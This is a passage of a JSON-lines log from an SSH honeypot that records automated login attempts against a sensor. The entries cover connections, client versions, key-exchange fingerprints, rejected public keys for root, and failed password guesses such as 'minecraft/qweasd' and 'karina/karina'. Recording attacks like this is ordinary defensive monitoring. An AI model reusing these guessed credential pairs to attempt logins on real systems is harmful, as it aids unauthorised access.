.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group-exchange-sha256","diffie-hellman-group16-sha512","diffie-hellman-group18-sha512","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","diffie-hellman-group-exchange-sha1","ext-info-c"],"keyAlgs":["ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519","ssh-ed25519-cert-v01@openssh.com","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-rsa-cert-v01@openssh.com","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","rijndael-cbc@lysator.liu.se","aes192-cbc","aes128-cbc","blowfish-cbc","arcfour128","arcfour","cast128-cbc","3des-cbc"],"macCS":["hmac-sha2-256","hmac-sha2-256-etm@openssh.com","hmac-sha2-512","hmac-sha2-512-etm@openssh.com","hmac-sha1","hmac-sha1-etm@openssh.com","hmac-sha1-96","hmac-md5","hmac-md5-96","hmac-ripemd160","hmac-ripemd160@openssh.com"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 14b2ddda386a4d1006108ccd231b42fc","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T07:48:27.596289Z","src_ip":"93.185.167.89","session":"8eaa3850f332","protocol":"ssh"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"e2:b0:48:5f:8d:31:1f:80:18:b9:11:05:73:bb:92:b0","key":"ssh-ed25519 AAAAC3NzaC1lZDI1NTE5AAAAIFObJzzeVzinK3SAsszREP6GFfEe3NJvAAv3Bna3asCk","type":"ssh-ed25519","message":"public key attempt for user root of type ssh-ed25519 with fingerprint e2:b0:48:5f:8d:31:1f:80:18:b9:11:05:73:bb:92:b0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T07:48:28.088376Z","src_ip":"93.185.167.89","session":"8eaa3850f332","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"e2:b0:48:5f:8d:31:1f:80:18:b9:11:05:73:bb:92:b0","key":"ssh-ed25519 AAAAC3NzaC1lZDI1NTE5AAAAIFObJzzeVzinK3SAsszREP6GFfEe3NJvAAv3Bna3asCk","type":"ssh-ed25519","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T07:48:28.092311Z","src_ip":"93.185.167.89","session":"8eaa3850f332","protocol":"ssh"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"62:48:4c:c1:71:69:84:5d:2c:06:a0:e5:a5:47:56:b2","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQC3+IQcjhxItnH5LZaskV9CKGmR1YrYAlcj5f+xGnsusKUIYfi8zkyjzLIRTLkJo7KSZ7z5VSyGRLF5ESQqUp+d9RJQumIamPvD9JOm+KK1Z9FGVqwNU4rF3HggvFKDwGeo/pvly8ZKTpOhWQpN6fsRKi0D4ZSHWqPkHouynayU9jTwdjAiUNV+WMHViR5b+MgU7sauya2xUI2VC19k32K1NZP2MTdwft72QCGXD8LYD86gXwIInFb5CTsr+qMJSsTj+fah2Wlj9F27Fbmz9TA/3L2hQGaiFDCcom+EyjFhfhqIO8s3nVknkgkS1dI1+58ScGT4Ekrg3Kp5MvWjh6UD","type":"ssh-rsa","message":"public key attempt for user root of type ssh-rsa with fingerprint 62:48:4c:c1:71:69:84:5d:2c:06:a0:e5:a5:47:56:b2","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T07:48:28.191801Z","src_ip":"93.185.167.89","session":"8eaa3850f332","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"62:48:4c:c1:71:69:84:5d:2c:06:a0:e5:a5:47:56:b2","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQC3+IQcjhxItnH5LZaskV9CKGmR1YrYAlcj5f+xGnsusKUIYfi8zkyjzLIRTLkJo7KSZ7z5VSyGRLF5ESQqUp+d9RJQumIamPvD9JOm+KK1Z9FGVqwNU4rF3HggvFKDwGeo/pvly8ZKTpOhWQpN6fsRKi0D4ZSHWqPkHouynayU9jTwdjAiUNV+WMHViR5b+MgU7sauya2xUI2VC19k32K1NZP2MTdwft72QCGXD8LYD86gXwIInFb5CTsr+qMJSsTj+fah2Wlj9F27Fbmz9TA/3L2hQGaiFDCcom+EyjFhfhqIO8s3nVknkgkS1dI1+58ScGT4Ekrg3Kp5MvWjh6UD","type":"ssh-rsa","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T07:48:28.195582Z","src_ip":"93.185.167.89","session":"8eaa3850f332","protocol":"ssh"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"16:30:b0:5d:df:ea:85:5c:48:d1:a0:d7:1a:98:22:5e","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAACAQCVvbMxeDbqgfIYhSantO71Lh88LCg2L3Mfm7L8i1n1aPuCYVHfbBNH+b29qTQBuEb5w75+crYdYvjrkLJUpKUkkjHOlZFCKMWplAcRmctg17TYAK2BEzQJnaLTjJJ6aCKPh3J/MjFNgHLh0nS57rE4QISrrJtJiGNug9plkkdybkBOdZeDwCbI9iXaqfk/iqqJ6iM3w/6M2zwY1Sf2ySe7cDAgaG3QMNSlUNbuQuGxy1zF3+IR/LU73ebV70DPIkWBCQYUKXkGJuFOSV+zc/0IdT6mdEOCPRjX15OD7Unt2BIFqI/zV7eGtP1hdu5JriPHedqq3ujOAyxs+ebCn+ynhUHutfRTAi7e/O/uoXhVKm919ntEysOEPOTwQ/W13GN2aKUUBR87p+ZzYZcThojmyDY0GV+nc3K8jO9FqycqyZpZIKiEt9jNCtYYICRa9n3n5CTr+TDK0OXDuKLEuMs/yujL9Cp9iusAe1HPOU72D8zvjp0/QmEamlc5/1DOq77VxLsoM4hte/JiqNz5IavmyM/Ub2UMtJkLq4aYqiS3HexZ84oDx/yYV+mm4xurhIHuhr+EKwpPPKyOKj7kwLWI2nhYbYGDLYdcBN3sCG9czb1Qo92mxXc74lS0p6fm/S382yFrZyypwobL+7BvEygow5myLo/453d8VcP53tspDQ==","type":"ssh-rsa","message":"public key attempt for user root of type ssh-rsa with fingerprint 16:30:b0:5d:df:ea:85:5c:48:d1:a0:d7:1a:98:22:5e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T07:48:28.288109Z","src_ip":"93.185.167.89","session":"8eaa3850f332","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"16:30:b0:5d:df:ea:85:5c:48:d1:a0:d7:1a:98:22:5e","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAACAQCVvbMxeDbqgfIYhSantO71Lh88LCg2L3Mfm7L8i1n1aPuCYVHfbBNH+b29qTQBuEb5w75+crYdYvjrkLJUpKUkkjHOlZFCKMWplAcRmctg17TYAK2BEzQJnaLTjJJ6aCKPh3J/MjFNgHLh0nS57rE4QISrrJtJiGNug9plkkdybkBOdZeDwCbI9iXaqfk/iqqJ6iM3w/6M2zwY1Sf2ySe7cDAgaG3QMNSlUNbuQuGxy1zF3+IR/LU73ebV70DPIkWBCQYUKXkGJuFOSV+zc/0IdT6mdEOCPRjX15OD7Unt2BIFqI/zV7eGtP1hdu5JriPHedqq3ujOAyxs+ebCn+ynhUHutfRTAi7e/O/uoXhVKm919ntEysOEPOTwQ/W13GN2aKUUBR87p+ZzYZcThojmyDY0GV+nc3K8jO9FqycqyZpZIKiEt9jNCtYYICRa9n3n5CTr+TDK0OXDuKLEuMs/yujL9Cp9iusAe1HPOU72D8zvjp0/QmEamlc5/1DOq77VxLsoM4hte/JiqNz5IavmyM/Ub2UMtJkLq4aYqiS3HexZ84oDx/yYV+mm4xurhIHuhr+EKwpPPKyOKj7kwLWI2nhYbYGDLYdcBN3sCG9czb1Qo92mxXc74lS0p6fm/S382yFrZyypwobL+7BvEygow5myLo/453d8VcP53tspDQ==","type":"ssh-rsa","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T07:48:28.292573Z","src_ip":"93.185.167.89","session":"8eaa3850f332","protocol":"ssh"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"e4:58:d1:35:81:4c:bb:fb:d4:a2:de:48:af:36:9a:a7","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQCBMa2X6IahOnNYYrk3DHZzJkAgsQgMGIZRGMHOs+MHd7Vw09l9PrrZy6QtF/QaZ/3iFpC61pxn19MdMZcrlCjZtLMPouOFz3AQLwTge2dHMHNP0H856nZ/w+G82EcjJRjjkmwctg/lwNC3ykIi+YB69xyFMrYyafthEtXq58hAxNwTDSnDd4RXUVn51siabSFwS3VssKf2XMuQRsY0tjTh3Ids/eM2P3QZ7NN2DkgnAn5Wmr/VruErEYsOAQMTCVJXa/qQJDL6+TxAbqwt6aXMbZOQ/wFJk+L2+1s6SWuUQjBaGyGBfxSaAWaAnzEm9q6zUvT9kwn/S89ZPG8Aoaa3","type":"ssh-rsa","message":"public key attempt for user root of type ssh-rsa with fingerprint e4:58:d1:35:81:4c:bb:fb:d4:a2:de:48:af:36:9a:a7","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T07:48:28.387815Z","src_ip":"93.185.167.89","session":"8eaa3850f332","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"e4:58:d1:35:81:4c:bb:fb:d4:a2:de:48:af:36:9a:a7","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQCBMa2X6IahOnNYYrk3DHZzJkAgsQgMGIZRGMHOs+MHd7Vw09l9PrrZy6QtF/QaZ/3iFpC61pxn19MdMZcrlCjZtLMPouOFz3AQLwTge2dHMHNP0H856nZ/w+G82EcjJRjjkmwctg/lwNC3ykIi+YB69xyFMrYyafthEtXq58hAxNwTDSnDd4RXUVn51siabSFwS3VssKf2XMuQRsY0tjTh3Ids/eM2P3QZ7NN2DkgnAn5Wmr/VruErEYsOAQMTCVJXa/qQJDL6+TxAbqwt6aXMbZOQ/wFJk+L2+1s6SWuUQjBaGyGBfxSaAWaAnzEm9q6zUvT9kwn/S89ZPG8Aoaa3","type":"ssh-rsa","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T07:48:28.394989Z","src_ip":"93.185.167.89","session":"8eaa3850f332","protocol":"ssh"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"2c:99:4e:f0:a5:3a:1d:fd:96:d4:a5:ad:82:4e:70:7e","key":"ssh-ed25519 AAAAC3NzaC1lZDI1NTE5AAAAIHdhCGvcviN/UW8d1Tc8K+9AGCMkkAqgqQgkFpkkSZHd","type":"ssh-ed25519","message":"public key attempt for user root of type ssh-ed25519 with fingerprint 2c:99:4e:f0:a5:3a:1d:fd:96:d4:a5:ad:82:4e:70:7e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T07:48:28.501079Z","src_ip":"93.185.167.89","session":"8eaa3850f332","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"2c:99:4e:f0:a5:3a:1d:fd:96:d4:a5:ad:82:4e:70:7e","key":"ssh-ed25519 AAAAC3NzaC1lZDI1NTE5AAAAIHdhCGvcviN/UW8d1Tc8K+9AGCMkkAqgqQgkFpkkSZHd","type":"ssh-ed25519","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T07:48:28.504090Z","src_ip":"93.185.167.89","session":"8eaa3850f332","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.1","message":"Connection lost after 1.1 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T07:48:28.593078Z","src_ip":"93.185.167.89","session":"8eaa3850f332","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"160.251.185.39","src_port":57570,"dst_ip":"10.17.0.5","dst_port":22,"session":"822618d5c557","protocol":"ssh","message":"New connection: 160.251.185.39:57570 (10.17.0.5:22) [session: 822618d5c557]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T07:48:53.604883Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.11.1","message":"Remote SSH version: SSH-2.0-libssh_0.11.1","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T07:48:53.609499Z","src_ip":"160.251.185.39","session":"822618d5c557","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"03a80b21afa810682a776a7d42e5e6fb","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: 03a80b21afa810682a776a7d42e5e6fb","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T07:48:53.793164Z","src_ip":"160.251.185.39","session":"822618d5c557","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"minecraft","password":"qweasd","message":"login attempt [minecraft/qweasd] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T07:48:54.562732Z","src_ip":"160.251.185.39","session":"822618d5c557","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.1","message":"Connection lost after 2.1 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T07:48:55.751110Z","src_ip":"160.251.185.39","session":"822618d5c557","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"58.186.20.143","src_port":42044,"dst_ip":"10.17.0.5","dst_port":22,"session":"6ea2ce08f185","protocol":"ssh","message":"New connection: 58.186.20.143:42044 (10.17.0.5:22) [session: 6ea2ce08f185]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T07:49:08.316069Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.11.1","message":"Remote SSH version: SSH-2.0-libssh_0.11.1","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T07:49:08.321382Z","src_ip":"58.186.20.143","session":"6ea2ce08f185","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"03a80b21afa810682a776a7d42e5e6fb","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: 03a80b21afa810682a776a7d42e5e6fb","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T07:49:08.569965Z","src_ip":"58.186.20.143","session":"6ea2ce08f185","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"luser","password":"luser","message":"login attempt [luser/luser] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T07:49:09.585737Z","src_ip":"58.186.20.143","session":"6ea2ce08f185","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.5","message":"Connection lost after 2.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T07:49:10.834468Z","src_ip":"58.186.20.143","session":"6ea2ce08f185","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"106.241.31.17","src_port":21235,"dst_ip":"159.203.135.109","dst_port":22,"session":"1ecb94bf6b1f","protocol":"ssh","message":"New connection: 106.241.31.17:21235 (159.203.135.109:22) [session: 1ecb94bf6b1f]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T07:49:15.677279Z"}
{"eventid":"cowrie.session.closed","duration":"0.2","message":"Connection lost after 0.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T07:49:15.883096Z","src_ip":"106.241.31.17","session":"1ecb94bf6b1f","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"106.241.31.17","src_port":22291,"dst_ip":"159.203.135.109","dst_port":22,"session":"57a9d3a5dda1","protocol":"ssh","message":"New connection: 106.241.31.17:22291 (159.203.135.109:22) [session: 57a9d3a5dda1]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T07:49:16.096986Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T07:49:16.101996Z","src_ip":"106.241.31.17","session":"57a9d3a5dda1","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T07:49:16.310580Z","src_ip":"106.241.31.17","session":"57a9d3a5dda1","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"karina","password":"karina","message":"login attempt [karina/karina] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T07:49:16.949522Z","src_ip":"106.241.31.17","session":"57a9d3a5dda1","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.1","message":"Connection lost after 2.1 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T07:49:18.164789Z","src_ip":"106.241.31.17","session":"57a9d3a5dda1","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"80.94.92.186","src_port":59204,"dst_ip":"10.17.0.5","dst_port":22,"session":"c68e805832e7","protocol":"ssh","message":"New connection: 80.94.92.186:59204 (10.17.0.5:22) [session: c68e805832e7]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T07:49:47.648675Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T07:49:47.703627Z","src_ip":"80.94.92.186","session":"c68e805832e7","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T07:49:47.940910Z","src_ip":"80.94.92.186","session":"c68e805832e7","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"latitude","password":"validator","message":"login attempt [latitude/validator] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T07:49:49.082361Z","src_ip":"80.94.92.186","session":"c68e805832e7","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.6","message":"Connection lost after 2.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T07:49:50.277254Z","src_ip":"80.94.92.186","session":"c68e805832e7","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"101.47.159.125","src_port":59564,"dst_ip":"159.203.135.109","dst_port":22,"session":"c2b61b85513a","protocol":"ssh","message":"New connection: 101.47.159.125:59564 (159.203.135.109:22) [session: c2b61b85513a]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T07:49:53.535010Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.11.1","message":"Remote SSH version: SSH-2.0-libssh_0.11.1","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T07:49:53.538837Z","src_ip":"101.47.159.125","session":"c2b61b85513a","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"03a80b21afa810682a776a7d42e5e6fb","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: 